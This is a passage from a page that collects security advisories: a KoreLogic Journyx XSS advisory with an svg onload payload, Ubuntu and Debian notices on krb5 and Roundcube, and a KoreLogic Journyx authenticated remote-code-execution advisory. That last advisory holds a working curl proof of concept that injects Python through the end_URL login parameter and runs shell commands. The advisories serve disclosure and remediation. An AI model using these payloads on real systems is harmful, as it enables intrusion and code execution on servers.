     and reflected into the page response:

         <div class="errorMessage">  
             Unable to complete sign-on attempt. This is possibly a configuration error in the application registration   
on the Identity Provider (IdP) side. The IdP server said:  
             <p>error <b><svg onload="prompt('KoreLogic')"></svg></b></p>  
         </div>

     Once this link is clicked or visited in a browser, the  
     javascript function "prompt()" is executed, and a display  
     box is presented, thereby validating the execution of  
     arbitrary JavaScript.

The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Journyx 11.5.4 Cross Site Scripting

Ubuntu Security Notice 6947-1 - It was discovered that Kerberos incorrectly handled GSS message tokens where an unwrapped token could appear to be truncated. An attacker could possibly use this issue to cause a denial of service. It was discovered that Kerberos incorrectly handled GSS message tokens when sent a token with invalid length fields. An attacker could possibly use this issue to cause a denial of service.

==========================================================================

Ubuntu Security Notice USN-6947-1  
August 08, 2024

krb5 vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 24.04 LTS  
- Ubuntu 22.04 LTS  
- Ubuntu 20.04 LTS  
- Ubuntu 18.04 LTS  
- Ubuntu 16.04 LTS  
- Ubuntu 14.04 LTS

Summary:

Kerberos could be made to crash if it received specially crafted  
input.

Software Description:  
- krb5: MIT Kerberos Network Authentication Protocol

Details:

It was discovered that Kerberos incorrectly handled GSS message tokens  
where an unwrapped token could appear to be truncated. An attacker  
could possibly use this issue to cause a denial of service.  
(CVE-2024-37370)

It was discovered that Kerberos incorrectly handled GSS message tokens  
when sent a token with invalid length fields. An attacker could possibly  
use this issue to cause a denial of service. (CVE-2024-37371)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 24.04 LTS  
   krb5-admin-server               1.20.1-6ubuntu2.1  
   krb5-kdc                        1.20.1-6ubuntu2.1  
   krb5-kdc-ldap                   1.20.1-6ubuntu2.1  
   krb5-otp                        1.20.1-6ubuntu2.1  
   krb5-pkinit                     1.20.1-6ubuntu2.1  
   krb5-user                       1.20.1-6ubuntu2.1  
   libgssapi-krb5-2                1.20.1-6ubuntu2.1  
   libgssrpc4t64                   1.20.1-6ubuntu2.1  
   libk5crypto3                    1.20.1-6ubuntu2.1  
   libkadm5clnt-mit12              1.20.1-6ubuntu2.1  
   libkadm5srv-mit12               1.20.1-6ubuntu2.1  
   libkdb5-10t64                   1.20.1-6ubuntu2.1  
   libkrad0                        1.20.1-6ubuntu2.1  
   libkrb5-3                       1.20.1-6ubuntu2.1  
   libkrb5support0                 1.20.1-6ubuntu2.1

Ubuntu 22.04 LTS  
   krb5-admin-server               1.19.2-2ubuntu0.4  
   krb5-kdc                        1.19.2-2ubuntu0.4  
   krb5-kdc-ldap                   1.19.2-2ubuntu0.4  
   krb5-otp                        1.19.2-2ubuntu0.4  
   krb5-pkinit                     1.19.2-2ubuntu0.4  
   krb5-user                       1.19.2-2ubuntu0.4  
   libgssapi-krb5-2                1.19.2-2ubuntu0.4  
   libgssrpc4                      1.19.2-2ubuntu0.4  
   libk5crypto3                    1.19.2-2ubuntu0.4  
   libkadm5clnt-mit12              1.19.2-2ubuntu0.4  
   libkadm5srv-mit12               1.19.2-2ubuntu0.4  
   libkdb5-10                      1.19.2-2ubuntu0.4  
   libkrad0                        1.19.2-2ubuntu0.4  
   libkrb5-3                       1.19.2-2ubuntu0.4  
   libkrb5support0                 1.19.2-2ubuntu0.4

Ubuntu 20.04 LTS  
   krb5-admin-server               1.17-6ubuntu4.6  
   krb5-kdc                        1.17-6ubuntu4.6  
   krb5-kdc-ldap                   1.17-6ubuntu4.6  
   krb5-otp                        1.17-6ubuntu4.6  
   krb5-pkinit                     1.17-6ubuntu4.6  
   krb5-user                       1.17-6ubuntu4.6  
   libgssapi-krb5-2                1.17-6ubuntu4.6  
   libgssrpc4                      1.17-6ubuntu4.6  
   libk5crypto3                    1.17-6ubuntu4.6  
   libkadm5clnt-mit11              1.17-6ubuntu4.6  
   libkadm5srv-mit11               1.17-6ubuntu4.6  
   libkdb5-9                       1.17-6ubuntu4.6  
   libkrad0                        1.17-6ubuntu4.6  
   libkrb5-3                       1.17-6ubuntu4.6  
   libkrb5support0                 1.17-6ubuntu4.6

Ubuntu 18.04 LTS  
   krb5-admin-server               1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro  
   krb5-kdc                        1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro  
   krb5-kdc-ldap                   1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro  
   krb5-otp                        1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro  
   krb5-pkinit                     1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro  
   krb5-user                       1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro  
   libgssapi-krb5-2                1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro  
   libgssrpc4                      1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro  
   libk5crypto3                    1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro  
   libkadm5clnt-mit11              1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro  
   libkadm5srv-mit11               1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro  
   libkdb5-9                       1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro  
   libkrad0                        1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro  
   libkrb5-3                       1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro  
   libkrb5support0                 1.16-2ubuntu0.4+esm2  
                                   Available with Ubuntu Pro

Ubuntu 16.04 LTS  
   krb5-admin-server               1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro  
   krb5-kdc                        1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro  
   krb5-kdc-ldap                   1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro  
   krb5-otp                        1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro  
   krb5-pkinit                     1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro  
   krb5-user                       1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro  
   libgssapi-krb5-2                1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro  
   libgssrpc4                      1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro  
   libk5crypto3                    1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro  
   libkadm5clnt-mit9               1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro  
   libkadm5srv-mit9                1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro  
   libkdb5-8                       1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro  
   libkrad0                        1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro  
   libkrb5-3                       1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro  
   libkrb5support0                 1.13.2+dfsg-5ubuntu2.2+esm5  
                                   Available with Ubuntu Pro

Ubuntu 14.04 LTS  
   krb5-admin-server               1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   krb5-kdc                        1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   krb5-kdc-ldap                   1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   krb5-otp                        1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   krb5-pkinit                     1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   krb5-user                       1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   libgssapi-krb5-2                1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   libgssrpc4                      1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   libk5crypto3                    1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   libkadm5clnt-mit9               1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   libkadm5srv-mit8                1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   libkadm5srv-mit9                1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   libkdb5-7                       1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   libkrad0                        1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   libkrb5-3                       1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro  
   libkrb5support0                 1.12+dfsg-2ubuntu5.4+esm5  
                                   Available with Ubuntu Pro

In general, a standard system update will make all the necessary changes.

References:  
https://ubuntu.com/security/notices/USN-6947-1   
<https://ubuntu.com/security/notices/USN-6947-1>  
   CVE-2024-37370, CVE-2024-37371

Package Information:  
https://launchpad.net/ubuntu/+source/krb5/1.20.1-6ubuntu2.1   
<https://launchpad.net/ubuntu/+source/krb5/1.20.1-6ubuntu2.1>  
https://launchpad.net/ubuntu/+source/krb5/1.19.2-2ubuntu0.4   
<https://launchpad.net/ubuntu/+source/krb5/1.19.2-2ubuntu0.4>  
https://launchpad.net/ubuntu/+source/krb5/1.17-6ubuntu4.6   
<https://launchpad.net/ubuntu/+source/krb5/1.17-6ubuntu4.6>

Ubuntu Security Notice USN-6947-1

Journyx version 11.5.4 has an issue where attackers with a valid username and password can exploit a python code injection vulnerability during the natural login flow.

KL-001-2024-008: Journyx Authenticated Remote Code Execution

Title: Journyx Authenticated Remote Code Execution  
Advisory ID: KL-001-2024-008  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-008.txt

1. Vulnerability Details

      Affected Vendor: Journyx  
      Affected Product: Journyx (jtime)  
      Affected Version: 11.5.4  
      Platform: GNU/Linux  
      CWE Classification: CWE-94: Improper Control of Generation of Code  
                          ('Code Injection'), CWE-95: Improper Neutralization  
                          of Directives in Dynamically Evaluated Code  
                          ('Eval Injection')  
      CVE ID: CVE-2024-6891

2. Vulnerability Description

      Attackers with a valid username and password can exploit  
      a python code injection vulnerability during the natural  
      login flow.

3. Technical Description

      When utilizing a username and password to authenticate to  
      Journyx via the web interface, an HTTP request is sent to  
      "wtlogin.pyc" containing the credentials. Upon a successful  
      login, the user is redirected to "wte.pyc" or the URL specified  
      in the "end_URL" body parameter if one is supplied.

      An additional condition is present, however. If the  
      "end_URL" value is over 1,000 characters, the value is instead  
      interpolated into a python "import" statement which is passed  
      into the "exec()" function, thereby executing arbitrary code.

      Code snippet from "wtlogin.pyc":

      finalURL = end_URL + '.pyc?' + genlib.URLEncodeParams(params)  
      if len(finalURL) < 1000:  
          raise genlib.HTTP302Found(finalURL)  
      else:  
          exec('import %s; %s.main()' % (end_URL, end_URL))

      The "params" variable is derived from the query parameters  
      included in the login request, so the size of "finalURL"  
      is trivial to inflate.

4. Mitigation and Remediation Recommendation

      The vendor reports that this issue was remediated in Journyx  
      v12.0.0, which is the first wholly cloud-hosted version of  
      this product.

      For self-hosted instances of JournyX, additional security  
      measures (such as input sanitization) can be added by monkey  
      patching the PYC file responsible for handling request  
      parameters (mycgi.pyc).

      1) Rename "mycgi.pyc" to an alternative name, e.g. mycgi_original.pyc.  
           $ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py

      2) Create a file named "mycgi.py" in the same directory.  
           $ touch wt_tar/pi/pylib/wtlib/mycgi.py

      3) Insert the following code into the newly created "mycgi.py"

           from mycgi_original import *  
           from html import escape

           def patch():  
               pdata = _parse()

               # force the value of "end_URL" to always be "wte"  
               if pdata.get('end_URL'): pdata['end_URL'] = ['wte']

               # sanitize user-controlled error messages  
               for parameter in ['error', 'error_description']:  
                   if not pdata.get(parameter): continue  
                   pdata[parameter] = [escape(value) for value in pdata[parameter]]

               return pdata

           _parse = parse  
           parse  = patch

      Once these changes have been made, the JournyX native "mycgi.parse()"  
      function will be overwritten with the "patch()" function located in the  
      "mycgi.py" file. Relevant to this advisory, the patch provided above  
      will force the "end_URL" parameter to always have a value of "wte".

5. Credit

      This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

6. Disclosure Timeline

      2024.01.31 - KoreLogic notifies Journyx support of the intention to  
                   report vulnerabilities discovered in the licensed,  
                   on-premises version of the product.  
      2024.01.31 - Journyx acknowledges receipt.  
      2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
                   vulnerability details.  
      2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
      2024.02.09 - Journyx responds that this vulnerability has been remediated  
                   in the cloud-hosted version of the product.  
      2024.02.21 - KoreLogic offers to test the cloud version to confirm  
                   the fix; no response.  
      2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
      2024.07.09 - Journyx confirms version number of the remediation.  
      2024.08.07 - KoreLogic public disclosure.

7. Proof of Concept

     By leveraging the existing "web" python module, it is possible  
     to see the output of shell commands as returned by "os.popen()".

     [attacker@box]$ HOST='redacted.com'; PORT='8080'; USERNAME='employee'; PASSWORD='password123'; COMMAND='id'; \  
                     curl -x http://localhost:8080 -X POST \  
                          -d   
"wtusername=$USERNAME&wtpassword=$PASSWORD&end_URL=os,web%0aweb.response.text%3dos.popen('$COMMAND').read()#&timestamp=9999999999&pageid=$RANDOM"   
\  
                          -H 'Cookie: wtsession=foobar' \  
"http://$HOST:$PORT/jtcgi/wtlogin.pyc?z=$(printf 'Z%.0s' {1..1000})"

     uid=1000(foo) gid=1000(foo)   
groups=1000(foo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)  
     [attacker@box]$

The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Journyx 11.5.4 Authenticated Remote Code Execution

Debian Linux Security Advisory 5743-1 - Multiple cross-site scripting vulnerabilities were discovered in RoundCube webmail.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5743-1                   security@debian.org  
https://www.debian.org/security/                       Moritz Muehlenhoff  
August 08, 2024                       https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : roundcube  
CVE ID         : CVE-2024-42008 CVE-2024-42009 CVE-2024-42010

Multiple cross-site scripting vulnerabilities were discovered in  
RoundCube webmail.

 For the stable distribution (bookworm), these problems have been fixed in  
version 1.6.5+dfsg-1+deb12u3.

We recommend that you upgrade your roundcube packages.

For the detailed security status of roundcube please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/roundcube

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAma0oZkACgkQEMKTtsN8  
TjYxhA//UCLgEJvU4lRhVKupyDDsLgIxy4yWCvwDORqLtckWd83mJZXqbnUQYOUU  
bvTaAHZ5XEEQ8mNwviDwgQZoSK7hY0ZHPb3NSbuc/2hl6aVUp9BqxzQ0iZ4haxiY  
LtbqB29zpelXB0orRgH+rNISBLwAei2C+Vf213TKTmceiUGzhRxvkJKr4H++W2b6  
7OkAoYqXIIH8OvKJmMgLirW/+toGR29c9F29d+C3Oyq/Qis0e/6osDIehFAdayro  
EGJAvoUm72Vfe+syTF3csItT4vtf73qMb51CP67ATeGZ29j7bllqHgybLfjfZyI7  
a4v5/VUGe+tDxvFiSsPCpBDuin843qt3rflrcy/LFaVvrYa7/SIcwV84uxVrjf85  
mwwlIIud8n01EY7oPw0LK51a6MIrniFePAC3/KyYgBhya+hKE1T3JLQ/8XDRk/zo  
M9Mqu1MbtamhjAeTdzkckRr+9ho+meY5un1MmnPtVIMoAaNhG/AteeqAuwCtucAF  
Fg36kslrDwd+ojYUavIaE3AoRoLRzto5aAy46tXCE5JSakw2haKpBHoQfAhFwLZ/  
59xds+gu7lRWp71Qhx2xBYclJ9XGNsdyx1g8Dzt0tPTQxwHCShP3fI2Wit8QOsWu  
VeqdGxyqGT+cFrTmWRaVCKRQOsUgLjTpY2Nm5aKorBdD1HT8FU0=  
=eXCy  
-----END PGP SIGNATURE-----

Tag

#vulnerability